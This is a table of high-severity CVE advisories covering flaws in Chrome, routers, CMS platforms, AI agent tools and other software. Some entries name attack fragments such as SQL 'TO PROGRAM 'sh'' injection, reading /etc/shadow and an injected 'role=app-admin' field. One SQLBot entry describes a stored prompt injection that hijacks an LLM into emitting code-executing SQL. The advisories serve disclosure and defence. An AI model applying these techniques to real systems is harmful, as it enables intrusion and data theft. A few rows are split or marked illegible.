CVE-2019-25630	PhreeBooks ERP 5.2.3 contains an arbitrary file upload vulnerability in the Image Manager component that allows authenticated attackers to upload malicious files by submitting requests to the image upload endpoint. Attackers can upload PHP files through the imgFile parameter to the bizuno/image/manager endpoint and execute them via the bizunoFS.php script for remote code execution.	8.8	More Details
CVE-2025-41660	A low-privileged remote attacker may be able to replace the boot application of the CODESYS Control runtime system, enabling unauthorized code execution.	8.8	More Details
CVE-2026-4456	Use after free in Digital Credentials API in Google Chrome prior to 146.0.7680.153 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2026-33075	FastGPT is an AI Agent building platform. In versions 4.14.8.3 and below, the fastgpt-preview-image.yml workflow is vulnerable to arbitrary code execution and secret exfiltration by any external contributor. It uses pull_request_target (which runs with access to repository secrets) but checks out code from the pull request author's fork, then builds and pushes Docker images using attacker-controlled Dockerfiles. This also enables a supply chain attack via the production container registry. A patch was not available at the time of publication.	8.8	More Details
CVE-2026-29099	SuiteCRM is an open-source, enterprise-ready Customer Relationship Management (CRM) software application. Prior to versions 7.15.1 and 8.9.3, the `retrieve()` function in `include/OutboundEmail/OutboundEmail.php` fails to properly neutralize the user controlled `$id` parameter. It is assumed that the function calling `retrieve()` will appropriately quote and sanitize the user input. However, two locations have been identified that can be reached through the `EmailUIAjax` action on the `Email()` module where this is not the case. As such, it is possible for an authenticated user to perform SQL injection through the `retrieve()` function. This affects the latest major versions 7.15 and 8.9. As there do not appear to be restrictions on which tables can be called, it would be possible	8.8	More Details

	for an attacker to retrieve arbitrary information from the database, including user information and password hashes. Versions 7.15.1 and 8.9.3 patch the issue.		
CVE-2026-4676	Use after free in Dawn in Google Chrome prior to 146.0.7680.165 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2026-4675	Heap buffer overflow in WebGL in Google Chrome prior to 146.0.7680.165 allowed a remote attacker to perform an out of bounds memory read via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2026-4461	Inappropriate implementation in V8 in Google Chrome prior to 146.0.7680.153 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2026-33648	WWBN AVideo is an open source video platform. In versions up to and including 26.0, the restreamer endpoint constructs a log file path by embedding user-controlled `users_id` and `liveTransmitionHistory_id` values from the JSON request body without any sanitization. This log file path is then concatenated directly into shell commands passed to `exec()`, allowing an authenticated user to achieve arbitrary command execution on the server via shell metacharacters such as `$()` or backticks. Commit 99b865413172045fef6a98b5e9bfc7b24da11678 contains a patch.	8.8	More Details
CVE-2025-71260	BMC FootPrints ITSM versions 20.20.02 through 20.24.01.001 contain a deserialization of untrusted data vulnerability in the ASP.NET servlet's VIEWSTATE handling that allows authenticated attackers to execute arbitrary code. Attackers can supply crafted serialized objects to the VIEWSTATE parameter to achieve remote code execution and fully compromise the application. The following hotfixes remediate the vulnerability: 20.20.02, 20.20.03.002, 20.21.01.001, 20.21.02.002, 20.22.01, 20.22.01.001, 20.23.01, 20.23.01.002, and 20.24.01.	8.8	More Details
CVE-2026-30711	Devome GRR v4.5.0 was discovered to contain multiple authenticated SQL injection vulnerabilities in the include/session.inc.php file via the referer and user-agent.	8.8	More Details
CVE-2026-4555	A weakness has been identified in D-Link DIR-513 1.10. The impacted element is the function formEasySetTimezone of the file /goform/formEasySetTimezone of the component boa. This manipulation of the argument curTime causes stack-based buffer overflow. The attack can be initiated remotely. The exploit has been made available to the public and could be used for attacks. This vulnerability only affects products that are no longer supported by the maintainer.	8.8	More Details
CVE-2026-23480	Blinko is an AI-powered card note-taking project. Prior to version 1.8.4, there is a privilege escalation vulnerability. The upsertUser endpoint has 3 issues: it is missing superAdminAuthMiddleware, any logged-in user can call it; the originalPassword is an optional parameter and if not provided password verification is skipped; there is no check for input.id === ctx.id (ownership verification). This could result in any authenticated user modifying other users' passwords, direct escalation to superadmin, and complete account takeover. This issue has been patched in version 1.8.4.	8.8	More Details
CVE-2026-4558	A flaw has been found in Linksys MR9600 2.0.6.206937. Affected is the function smartConnectConfigure of the file SmartConnect.lua. Executing a manipulation of the argument configApSsid/configApPassphrase/srpLogin/srpPassword can lead to os command injection. The attack may be launched remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.	8.8	More Details
CVE-2026-33717	WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `downloadVideoFromDownloadURL()` function in `objects/aVideoEncoder.json.php` saves remote content to a web-accessible temporary directory using the original URL's filename and extension (including `.php`). By providing an invalid `resolution` parameter, an attacker triggers an early `die()` via `forbiddenPage()` before the temp file can be moved or cleaned up, leaving an executable PHP file persistently accessible under the web root at `videos/cache/tmpFile/`. Commit 6da79b43484099a0b660d1544a63c07b633ed3a2 contains a patch.	8.8	More Details
CVE-2026-33025	AVideo is a video-sharing Platform. Versions prior to 8.0 contain a SQL Injection vulnerability in the getSqlFromPost() method of Object.php. The $_POST['sort'] array keys are used directly as SQL column identifiers inside an ORDER BY clause. Although real_escape_string() was applied, it only escapes string-context characters (quotes, null bytes) and provides no protection for SQL identifiers — making it entirely ineffective here. This issue has been fixed in version 8.0. To workaround this issue without upgrading, operators can apply a WAF rule to block POST requests where any sort[*] key contains characters outside [A-Za-z0-9_]. Alternatively, restrict access to the queue view (queue.json.php, index.php) to trusted IP ranges only.	8.8	More Details
CVE-2026-33647	WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `ImageGallery::saveFile()` method validates uploaded file content using `finfo` MIME type detection but derives the saved filename extension from the user-supplied original filename without an allowlist check. An attacker can upload a polyglot file (valid JPEG magic bytes followed by PHP code) with a `.php` extension. The MIME check passes, but the file is saved as an executable `.php` file in a web-accessible directory, achieving Remote Code Execution. Commit 345a8d3ece0ad1e1b71a704c1579cbf885d8f3ae contains a patch.	8.8	More Details
CVE-2026-	Out of bounds read in CSS in Google Chrome prior to 146.0.7680.165 allowed a remote attacker to perform out of	8.8	More

4674	bounds memory access via a crafted HTML page. (Chromium security severity: High)		Details
CVE-2026-32042	OpenClaw versions 2026.2.22 prior to 2026.2.25 contain a privilege escalation vulnerability allowing unpaired device identities to bypass operator pairing requirements and self-assign elevated operator scopes including operator.admin. Attackers with valid shared gateway authentication can present a self-signed unpaired device identity to request and obtain higher operator scopes before pairing approval is granted.	8.8	More Details
CVE-2026-4565	A vulnerability was detected in Tenda AC21 16.03.08.16. Impacted is the function formSetQosBand of the file /goform/SetNetControlList. Performing a manipulation of the argument list results in buffer overflow. The attack can be initiated remotely. The exploit is now public and may be used.	8.8	More Details
CVE-2026-4566	A flaw has been found in Belkin F9K1122 1.00.33. The affected element is the function formWISP5G of the file /goform/formWISP5G. Executing a manipulation of the argument webpage can lead to stack-based buffer overflow. The attack can be launched remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.	8.8	More Details
CVE-2026-33507	WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `objects/pluginImport.json.php` endpoint allows admin users to upload and install plugin ZIP files containing executable PHP code, but lacks any CSRF protection. Combined with the application explicitly setting `session.cookie_samesite = 'None'` for HTTPS connections, an unauthenticated attacker can craft a page that, when visited by an authenticated admin, silently uploads a malicious plugin containing a PHP webshell, achieving Remote Code Execution on the server. Commit d1bc1695edd9ad4468a48cea0df6cd943a2635f3 contains a patch.	8.8	More Details
CVE-2026-24516	A command injection vulnerability exists in DigitalOcean Droplet Agent through 1.3.2. The troubleshooting actioner component (internal/troubleshooting/actioner/actioner.go) processes metadata from the metadata service endpoint and executes commands specified in the TroubleshootingAgent.Requesting array without adequate input validation. While the code validates that artifacts exist in the validInvestigationArtifacts map, it fails to sanitize the actual command content after the "command:" prefix. This allows an attacker who can control metadata responses to inject and execute arbitrary OS commands with root privileges. The attack is triggered by sending a TCP packet with specific sequence numbers to the SSH port, which causes the agent to fetch metadata from http://169.254.169.254/metadata/v1.json. The vulnerability affects the command execution flow in internal/troubleshooting/actioner/actioner.go (insufficient validation), internal/troubleshooting/command/exec.go (direct exec.CommandContext call), and internal/troubleshooting/command/command.go (command parsing without sanitization). This can lead to complete system compromise, data exfiltration, privilege escalation, and potential lateral movement across cloud infrastructure.	8.8	More Details
CVE-2026-33479	WWBN AVideo is an open source video platform. In versions up to and including 26.0, the Gallery plugin's `saveSort.json.php` endpoint passes unsanitized user input from `$_REQUEST['sections']` array values directly into PHP's `eval()` function. While the endpoint is gated behind `User::isAdmin()`, it has no CSRF token validation. Combined with AVideo's explicit `SameSite=None` session cookie configuration, an attacker can exploit this via cross-site request forgery to achieve unauthenticated remote code execution — requiring only that an admin visits an attacker-controlled page. Commit 087dab8841f8bdb54be184105ef19b47c5698fcb contains a patch.	8.8	More Details
CVE-2026-32622	SQLBot is an intelligent data query system based on a large language model and RAG. Versions 1.5.0 and below contain a Stored Prompt Injection vulnerability that chains three flaws: a missing permission check on the Excel upload API allowing any authenticated user to upload malicious terminology, unsanitized storage of terminology descriptions containing dangerous payloads, and a lack of semantic fencing when injecting terminology into the LLM's system prompt. Together, these flaws allow an attacker to hijack the LLM's reasoning to generate malicious PostgreSQL commands (e.g., COPY ... TO PROGRAM), ultimately achieving Remote Code Execution on the database or application server with postgres user privileges. The issue is fixed in v1.6.0.	8.8	More Details
CVE-2026-32013	OpenClaw versions prior to 2026.2.25 contain a symlink traversal vulnerability in the agents.files.get and agents.files.set methods that allows reading and writing files outside the agent workspace. Attackers can exploit symlinked allowlisted files to access arbitrary host files within gateway process permissions, potentially enabling code execution through file overwrite attacks.	8.8	More Details
CVE-2026-32051	OpenClaw versions prior to 2026.3.1 contain an authorization mismatch vulnerability that allows authenticated callers with operator.write scope to invoke owner-only tool surfaces including gateway and cron through agent runs in scoped-token deployments. Attackers with write-scope access can perform control-plane actions beyond their intended authorization level by exploiting inconsistent owner-only gating during agent execution.	8.8	More Details
CVE-2026-25445	Deserialization of Untrusted Data vulnerability in Membership Software WishList Member X allows Object Injection.This issue affects WishList Member X: from n/a through 3.29.0.	8.8	More Details
CVE-2026-4553	A vulnerability was identified in Tenda F453 1.0.0.3. Impacted is the function fromNatlimit of the file /goform/Natlimit of the component Parameters Handler. The manipulation of the argument page leads to stack-based buffer overflow. It is possible to initiate the attack remotely. The exploit is publicly available and might be used.	8.8	More Details
CVE-2026-4673	Heap buffer overflow in WebAudio in Google Chrome prior to 146.0.7680.165 allowed a remote attacker to perform an out of bounds memory write via a crafted HTML page. (Chromium security severity: High)	8.8	More Details

CVE-2026-4462	Out of bounds read in Blink in Google Chrome prior to 146.0.7680.153 allowed a remote attacker to perform an out of bounds memory read via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2026-4463	Heap buffer overflow in WebRTC in Google Chrome prior to 146.0.7680.153 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2026-4464	Integer overflow in ANGLE in Google Chrome prior to 146.0.7680.153 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: Medium)	8.8	More Details
CVE-2026-3533	The Jupiter X Core plugin for WordPress is vulnerable to limited file uploads due to missing authorization on import_popup_templates() function as well as insufficient file type validation in the upload_files() function in all versions up to, and including, 4.14.1. This makes it possible for Authenticated attackers with Subscriber-level access and above, to upload files with dangerous types that can lead to Remote Code Execution on servers configured to handle .phar files as executable PHP (e.g., Apache+mod_php), or Stored Cross-Site Scripting via .svg, .dfxp, or .xhtml files upload on any server configuration	8.8	More Details
CVE-2026-4439	Out of bounds memory access in WebGL in Google Chrome on Android prior to 146.0.7680.153 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)	8.8	More Details
CVE-2026-33046	Indico is an event management system that uses Flask-Multipass, a multi-backend authentication system for Flask. In versions prior to 3.3.12, due to vulnerabilities in TeXLive and obscure LaTeX syntax that allowed circumventing Indico's LaTeX sanitizer, it is possible to use specially-crafted LaTeX snippets which can read local files or execute code with the privileges of the user running Indico on the server. Note that if server-side LaTeX rendering is not in use (ie `XELATEX_PATH` was not set in `indico.conf`), this vulnerability does not apply. It is recommended to update to Indico 3.3.12 as soon as possible. It is also strongly recommended to enable the containerized LaTeX renderer (using `podman`), which isolates it from the rest of the system. As a workaround, remove the `XELATEX_PATH` setting from `indico.conf` (or comment it out or set it to `None`) and restart the `indico-uwsgi` and `indico-celery` services to disable LaTeX functionality.	8.8	More Details
CVE-2026-4475	A vulnerability has been found in Yi Technology YI Home Camera 2 2.1.1_20171024151200. The affected element is an unknown function of the file home/web/ipc. Such manipulation leads to hard-coded credentials. Access to the local network is required for this attack to succeed. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.	8.8	More Details
CVE-2026-32276	Connect-CMS is a content management system. In versions on the 1.x series up to and including 1.41.0 and versions on the 2.x series up to and including 2.41.0, an authenticated user may be able to execute arbitrary code in the Code Study Plugin. Versions 1.41.1 and 2.41.1 contain a patch.	8.8	More Details
CVE-2026-32888	Open Source Point of Sale is a web based point-of-sale application written in PHP using CodeIgniter framework. Versions contain an SQL Injection in the Items search functionality. When the custom attribute search feature is enabled (search_custom filter), user-supplied input from the search GET parameter is interpolated directly into a HAVING clause without parameterization or sanitization. This allows an authenticated attacker with basic item search permissions to execute arbitrary SQL queries. A patch did not exist at the time of publication.	8.8	More Details
CVE-2025-60947	Census CSWeb 8.0.1 allows arbitrary file upload. A remote, authenticated attacker could upload a malicious file, possibly leading to remote code execution. Fixed in 8.1.0 alpha.	8.8	More Details
CVE-2026-33053	Langflow is a tool for building and deploying AI-powered agents and workflows. In versions prior to 1.9.0, the delete_api_key_route() endpoint accepts an api_key_id path parameter and deletes it with only a generic authentication check (get_current_active_user dependency). However, the delete_api_key() CRUD function does NOT verify that the API key belongs to the current user before deletion.	8.8	More Details
CVE-2026-4551	A vulnerability was found in Tenda F453 1.0.0.3. This vulnerability affects the function fromSafeClientFilter of the file /goform/SafeClientFilter of the component Parameters Handler. Performing a manipulation of the argument menufacturer/Go results in stack-based buffer overflow. The attack is possible to be carried out remotely. The exploit has been made public and could be used.	8.8	More Details
CVE-2025-60946	Census CSWeb 8.0.1 allows arbitrary file path input. A remote, authenticated attacker could access unintended file directories. Fixed in 8.1.0 alpha.	8.8	More Details
CVE-2026-4552	A vulnerability was determined in Tenda F453 1.0.0.3. This issue affects the function fromVirtualSer of the file /goform/VirtualSer of the component Parameters Handler. Executing a manipulation of the argument page can lead to stack-based buffer overflow. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized.	8.8	More Details
CVE-2026-4450	Out of bounds write in V8 in Google Chrome prior to 146.0.7680.153 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
	Microsoft Dynamics 365 Customer Engagement (on-premises) 1612 (9.0.2.3034) allows the generation of		

CVE-2025-58112	customized reports via raw SQL queries in an upload of a .rdl (Report Definition Language) file; this is then processed by the SQL Server Reporting Service. An account with the privilege Add Reporting Services Reports can upload a malicious rdl file. If the malicious rdl file is already loaded and it is executable by the user, the Add Reporting Services Reports privilege is not required. A malicious actor can trigger the generation of the report, causing the execution of arbitrary SQL commands in the underlying database. Depending on the permissions of the account running SQL Server Reporting Services, the attacker may be able to perform additional actions, such as accessing linked servers or executing operating system commands.	8.8	More Details
CVE-2026-32950	SQLBot is an intelligent data query system based on a large language model and RAG. Versions prior to 1.7.0 contain a critical SQL Injection vulnerability in the /api/v1/datasource/uploadExcel endpoint that enables Remote Code Execution (RCE), allowing any authenticated user (even the lowest-privileged) to fully compromise the backend server. The root cause is twofold: Excel Sheet names are concatenated directly into PostgreSQL table names without sanitization (datasource.py#L351), and those table names are embedded into COPY SQL statements via f-strings instead of parameterized queries (datasource.py#L385-L388). An attacker can bypass the 31-character Sheet name limit using a two-stage technique—first uploading a normal file whose data rows contain shell commands, then uploading an XML-tampered file whose Sheet name injects a TO PROGRAM 'sh' clause into the SQL. Confirmed impacts include arbitrary command execution as the postgres user (uid=999), sensitive file exfiltration (e.g., /etc/passwd, /etc/shadow), and complete PostgreSQL database takeover. This issue has been fixed in version 1.7.0.	8.8	More Details
CVE-2026-3334	The CMS Commander plugin for WordPress is vulnerable to SQL Injection via the 'or_blogname', 'or_blogdescription', and 'or_admin_email' parameters in all versions up to, and including, 2.288. This is due to insufficient escaping on the user supplied parameters and lack of sufficient preparation on the existing SQL queries in the restore workflow. This makes it possible for authenticated attackers, with CMS Commander API key access, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.	8.8	More Details
CVE-2026-4486	A vulnerability was found in D-Link DIR-513 1.10. This affects the function formEasySetPassword of the file /goform/formEasySetPassword of the component Web Service. The manipulation of the argument curTime results in stack-based buffer overflow. The attack may be performed from remote. The exploit has been made public and could be used. This vulnerability only affects products that are no longer supported by the maintainer.	8.8	More Details
CVE-2026-4489	A vulnerability was detected in Tenda A18 Pro 02.03.02.28. This vulnerability affects the function form_fast_setting_wifi_set of the file /goform/fast_setting_wifi_set. The manipulation results in stack-based buffer overflow. The attack may be launched remotely. The exploit is now public and may be used.	8.8	More Details
CVE-2026-4490	A flaw has been found in Tenda A18 Pro 02.03.02.28. This issue affects the function setSchedWifi of the file /goform/openSchedWifi. This manipulation causes stack-based buffer overflow. Remote exploitation of the attack is possible. The exploit has been published and may be used.	8.8	More Details
CVE-2026-4491	A vulnerability has been found in Tenda A18 Pro 02.03.02.28. Impacted is the function fromSetIpMacBind of the file /goform/SetIpMacBind. Such manipulation of the argument list leads to stack-based buffer overflow. The attack can be executed remotely. The exploit has been disclosed to the public and may be used.	8.8	More Details
CVE-2026-4447	Inappropriate implementation in V8 in Google Chrome prior to 146.0.7680.153 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2026-4492	A vulnerability was found in Tenda A18 Pro 02.03.02.28. The affected element is the function set_qosMib_list of the file /goform/formSetQosBand. Performing a manipulation of the argument list results in stack-based buffer overflow. The attack is possible to be carried out remotely. The exploit has been made public and could be used.	8.8	More Details
CVE-2026-22559	An Improper Input Validation vulnerability in UniFi Network Server may allow unauthorized access to an account if the account owner is socially engineered into clicking a malicious link. Affected Products: UniFi Network Server (Version 10.1.85 and earlier) Mitigation: Update UniFi Network Server to Version 10.1.89 or later.	8.8	More Details
CVE-2026-29056	Kanboard is project management software focused on Kanban methodology. Prior to 1.2.51, Kanboard's user invite registration endpoint (`UserInviteController::register()`) accepts all POST parameters and passes them to `UserModel::create()` without filtering out the `role` field. An attacker who receives an invite link can inject `role=app-admin` in the registration form to create an administrator account. Version 1.2.51 fixes the issue.	8.8	More Details
CVE-2026-4493	A vulnerability was determined in Tenda A18 Pro 02.03.02.28. The impacted element is the function sub_423B50 of the file /goform/setMacFilterCfg of the component MAC Filtering Configuration Endpoint. Executing a manipulation of the argument deviceList can lead to stack-based buffer overflow. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized.	8.8	More Details
CVE-2026-4488	A vulnerability was identified in UTT HiPER 1250GW up to 3.2.7-210907-180535. Affected is the function strcpy of the file /goform/setSysAdm. Such manipulation of the argument GroupName leads to buffer overflow. It is possible to launch the attack remotely. The exploit is publicly available and might be used.	8.8	More Details
CVE-2026-4441	Use after free in Base in Google Chrome prior to 146.0.7680.153 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: Critical)	8.8	More Details
CVE-			

2026-4442	Heap buffer overflow in CSS in Google Chrome prior to 146.0.7680.153 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2026-4443	Heap buffer overflow in WebAudio in Google Chrome prior to 146.0.7680.153 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2026-29839	DedeCMS v5.7.118 was discovered to contain a Cross-Site Request Forgery (CSRF) vulnerability in /sys_task_add.php.	8.8	More Details
CVE-2026-4446	Use after free in WebRTC in Google Chrome prior to 146.0.7680.153 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2026-4444	Stack buffer overflow in WebRTC in Google Chrome prior to 146.0.7680.153 allowed a remote attacker to potentially exploit stack corruption via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2026-33289	SuiteCRM is an open-source, enterprise-ready Customer Relationship Management (CRM) software application. Prior to versions 7.15.1 and 8.9.3, an LDAP Injection vulnerability exists in the SuiteCRM authentication flow. The application fails to properly sanitize user-supplied input before embedding it into the LDAP search filter. By injecting LDAP control characters, an unauthenticated attacker can manipulate the query logic, which can lead to authentication bypass or information disclosure. Versions 7.15.1 and 8.9.3 patch the issue.	8.8	More Details
CVE-2026-33288	SuiteCRM is an open-source, enterprise-ready Customer Relationship Management (CRM) software application. Prior to versions 7.15.1 and 8.9.3, a SQL Injection vulnerability exists in the SuiteCRM authentication mechanisms when directory support is enabled. The application fails to properly sanitize the user-supplied username before using it in a local database query. An attacker with valid, low-privilege directory credentials can exploit this to execute arbitrary SQL commands, leading to complete privilege escalation (e.g., logging in as the CRM Administrator). Versions 7.15.1 and 8.9.3 patch the issue.	8.8	More Details
CVE-2026-33124	Frigate is a network video recorder (NVR) with realtime local object detection for IP cameras. Versions prior to 0.17.0-beta1 allow any authenticated user to change their own password without verifying the current password through the /users/{username}/password endpoint. Changing a password does not invalidate existing JWT tokens, and there is no validation of password strength. If an attacker obtains a valid session token (e.g., via accidentally exposed JWT, stolen cookie, XSS, compromised device, or sniffing over HTTP), they can change the victim's password and gain permanent control of the account. Since password changes do not invalidate existing JWT tokens, session hijacks persist even after a password reset. Additionally, the lack of password strength validation exposes accounts to brute-force attacks. This issue has been resolved in version 0.17.0-beta1.	8.8	More Details
CVE-2026-4440	Out of bounds read and write in WebGL in Google Chrome prior to 146.0.7680.153 allowed a remote attacker to perform arbitrary read/write via a crafted HTML page. (Chromium security severity: Critical)	8.8	More Details
CVE-2026-4445	Use after free in WebRTC in Google Chrome prior to 146.0.7680.153 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2026-33310	Intake is a package for finding, investigating, loading and disseminating data. Prior to version 2.0.9, the shell() syntax within parameter default values appears to be automatically expanded during the catalog parsing process. If a catalog contains a parameter default such as shell(<command>), the command may be executed when the catalog source is accessed. This means that if a user loads a malicious catalog YAML, embedded commands could execute on the host system. Version 2.0.9 mitigates the issue by making getshell False by default everywhere.	8.8	More Details
CVE-2026-32756	Admidio is an open-source user management solution. Versions 5.0.6 and below contain a critical unrestricted file upload vulnerability in the Documents & Files module. Due to a design flaw in how CSRF token validation and file extension verification interact within UploadHandlerFile.php, an authenticated user with upload permissions can bypass file extension restrictions by intentionally submitting an invalid CSRF token. This allows the upload of arbitrary file types, including PHP scripts, which may lead to Remote Code Execution on the server, resulting in full server compromise, data exfiltration, and lateral movement. This issue has been fixed in version 5.0.7.	8.8	More Details
CVE-2026-32989	Precurio Intranet Portal 4.4 contains a cross-site request forgery vulnerability that allows attackers to induce authenticated users to submit crafted requests to a profile update endpoint handling file uploads. Attackers can exploit this to upload executable files to web-accessible locations, leading to arbitrary code execution in the context of the web server.	8.8	More Details
CVE-2026-2941	The Linksy Search and Replace plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'linksy_search_and_replace_item_details' function in all versions up to, and including, 1.0.4. This makes it possible for authenticated attackers, with subscriber-level access and above, to update any database table, any value, including the wp_capabilities database field, which allows attackers to change their own role to administrator, which leads to privilege escalation.	8.8	More Details
CVE-2026-4448	Heap buffer overflow in ANGLE in Google Chrome prior to 146.0.7680.153 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)	8.8	More Details

[illegible]	[illegible]		[illegible]
CVE-2026-27894	LDAP Account Manager (LAM) is a webfrontend for managing entries (e.g. users, groups, DHCP settings) stored in an LDAP directory. Prior to version 9.5, a local file inclusion was detected in the PDF export that allows users to include local PHP files and this way execute code. In combination with GHSA-88hf-2cjm-m9g8 this allows to execute arbitrary code. Users need to login to LAM to exploit this vulnerability. Version 9.5 fixes the issue. Although upgrading is recommended, a workaround would be to make /var/lib/ldap-account-manager/config read-only for the web-server user and delete the PDF profile files (making PDF exports impossible).	8.8	More Details
CVE-2026-4722	Privilege escalation in the IPC component. This vulnerability affects Firefox < 149 and Thunderbird < 149.	8.8	More Details
CVE-2026-22730	A critical SQL injection vulnerability in Spring AI's MariaDBFilterExpressionConverter allows attackers to bypass metadata-based access controls and execute arbitrary SQL commands. The vulnerability exists due to missing input sanitization.	8.8	More Details
CVE-2026-27811	Roxy-WI is a web interface for managing Haproxy, Nginx, Apache and Keepalived servers. Prior to version 8.2.6.3, a command injection vulnerability exists in the `/config/compare/<service>/<server_ip>/show` endpoint, allowed authenticated users to execute arbitrary system commands on the app host. The vulnerability exists in `app/modules/config/config.py` on line 362, where user input is directly formatted in the template string that is eventually executed. Version 8.2.6.3 fixes the issue.	8.8	More Details
CVE-2025-67260	The Terrapack software, from ASTER TEC / ASTER S.p.A., with the indicated components and versions has a file upload vulnerability that may allow attackers to execute arbitrary code. Vulnerable components include Terrapack TkWebCoreNG:: 1.0.20200914, Terrapack TKServerCGI 2.5.4.150, and Terrapack TpkWebGIS Client 1.0.0.	8.8	More Details
CVE-2026-33346	OpenEMR is a free and open source electronic health records and medical practice management application. Prior to 8.0.0.2, a stored cross-site scripting (XSS) vulnerability in the patient portal payment flow allows a patient portal user to persist arbitrary JavaScript that executes in the browser of a staff member who reviews the payment submission. The payload is stored via `portal/lib/paylib.php` and rendered without escaping in `portal/portal_payment.php`. Version 8.0.0.2 fixes the issue.	8.7	More Details
CVE-2026-4601	Versions of the package jsrsasign before 11.1.1 are vulnerable to Missing Cryptographic Step via the KJUR.crypto.DSA.signWithMessageHash process in the DSA signing implementation. An attacker can recover the private key by forcing r or s to be zero, so the library emits an invalid signature without retrying, and then solves for x from the resulting signature.	8.7	More Details
CVE-2026-33226	Budibase is a low code platform for creating internal tools, workflows, and admin panels. In versions from 3.30.6 and prior, the REST datasource query preview endpoint (POST /api/queries/preview) makes server-side HTTP requests to any URL supplied by the user in fields.path with no validation. An authenticated admin can reach internal services that are not exposed to the internet — including cloud metadata endpoints (AWS/GCP/Azure), internal databases, Kubernetes APIs, and other pods on the internal network. On GCP this leads to OAuth2 token theft with cloud-platform scope (full GCP access). On any deployment it enables full internal network enumeration. At time of publication, there are no publicly available patches.	8.7	More Details
CVE-2026-33172	Statamic is a Laravel and Git powered content management system (CMS). Prior to versions 5.73.14 and 6.7.0, a stored XSS vulnerability in SVG asset reuploads allows authenticated users with asset upload permissions to bypass SVG sanitization and inject malicious JavaScript that executes when the asset is viewed. This has been fixed in 5.73.14 and 6.7.0.	8.7	More Details
CVE-2026-32277	Connect-CMS is a content management system. In versions 1.35.0 through 1.41.0 and 2.35.0 through 2.41.0, a DOM-based Cross-Site Scripting (XSS) issue exists in the Cabinet Plugin list view. Versions 1.41.1 and 2.41.1 contain a patch.	8.7	More Details
CVE-2026-3511	Improper Restriction of XML External Entity Reference vulnerability in XMLUtils.java in Slovensko.Digital Autogram allows remote unauthenticated attacker to conduct SSRF (Server Side Request Forgery) attacks and obtain unauthorized access to local files on filesystems running the vulnerable application. Successful exploitation requires the victim to visit a specially crafted website that sends request containing a specially crafted XML document to /sign endpoint of the local HTTP server run by the application.	8.6	More Details
CVE-2026-28500	Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. In versions up to and including 1.20.1, a security control bypass exists in onnx.hub.load() due to improper logic in the repository trust verification mechanism. While the function is designed to warn users when loading models from non-official sources, the use of the silent=True parameter completely suppresses all security warnings and confirmation prompts. This vulnerability transforms a standard model-loading function into a vector for Zero-Interaction Supply-Chain Attacks. When chained with file-system vulnerabilities, an attacker can silently exfiltrate sensitive files (SSH keys, cloud credentials) from the victim's machine the moment the model is loaded. As of time of publication, no known patched versions are available.	8.6	More Details
CVE-2026-23659	Exposure of sensitive information to an unauthorized actor in Azure Data Factory allows an unauthorized attacker to disclose information over a network.	8.6	More Details
[illegible]	Allure 2 is the version 2.x branch of Allure Report, a multi-language test reporting tool. The Allure report generator	[illegible]	[illegible]

CVE-2026-33166	prior to version 2.38.0 is vulnerable to an arbitrary file read via path traversal when processing test results. An attacker can craft a malicious result file (-result.json, -container.json, or .plist) that points an attachment source to a sensitive file on the host system. During report generation, Allure will resolve these paths and include the sensitive files in the final report. Version 2.38.0 fixes the issue.	8.6	More Details
CVE-2026-32255	Kan is an open-source project management tool. In versions 0.5.4 and below, the /api/download/attatchment endpoint has no authentication and no URL validation. The Attachment Download endpoint accepts a user-supplied URL query parameter and passes it directly to fetch() server-side, and returns the full response body. An unauthenticated attacker can use this to make HTTP requests from the server to internal services, cloud metadata endpoints, or private network resources. This issue has been fixed in version 0.5.5. To workaround this issue, block or restrict access to /api/download/attatchment at the reverse proxy level (nginx, Cloudflare, etc.).	8.6	More Details
CVE-2026-33191	Free5GC is an open-source Linux Foundation project for 5th generation (5G) mobile core networks. Versions prior to 1.4.2 are vulnerable to null byte injection in URL path parameters. A remote attacker can inject null bytes (URL-encoded as %00) into the supi path parameter of the UDM's Nudm_SubscriberDataManagement API. This causes URL parsing failure in Go's net/url package with the error "invalid control character in URL", resulting in a 500 Internal Server Error. This null byte injection vulnerability can be exploited for denial of service attacks. When the supi parameter contains null characters, the UDM attempts to construct a URL for UDR that includes these control characters. Go's URL parser rejects them, causing the request to fail with 500 instead of properly validating input and returning 400 Bad Request. This issue has been fixed in version 1.4.2.	8.6	More Details
